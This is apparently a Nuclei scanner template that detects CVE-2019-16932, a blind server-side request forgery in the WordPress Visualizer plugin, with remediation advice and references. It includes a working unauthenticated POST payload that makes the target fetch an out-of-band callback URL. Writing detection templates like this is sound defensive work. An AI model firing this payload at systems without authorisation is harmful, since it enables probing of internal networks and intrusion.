CVE-2019-16932: Visualizer <3.3.1 - Blind Server-Side Request Forgery

id: CVE-2019-16932

info:
  name: Visualizer <3.3.1 - Blind Server-Side Request Forgery
  author: akincibor
  severity: critical
  description: |
    Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.
  remediation: |
    Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9892
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16932
    - https://wordpress.org/plugins/visualizer/#developers
    - https://wpvulndb.com/vulnerabilities/9892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2019-16932
    cwe-id: CWE-918
    epss-score: 0.8125
    epss-percentile: 0.99131
    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: themeisle
    product: visualizer
    framework: wordpress
  tags: cve,cve2019,wp-plugin,ssrf,wordpress,oast,unauth,wpscan,intrusive,themeisle,xss
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Visualizer'
          - 'Tested up to:'
        condition: and

  - method: POST
    path:
      - "{{BaseURL}}/wp-json/visualizer/v1/upload-data"

    body: '{\"url\":\"http://{{interactsh-url}}\"}'

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        name: http
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
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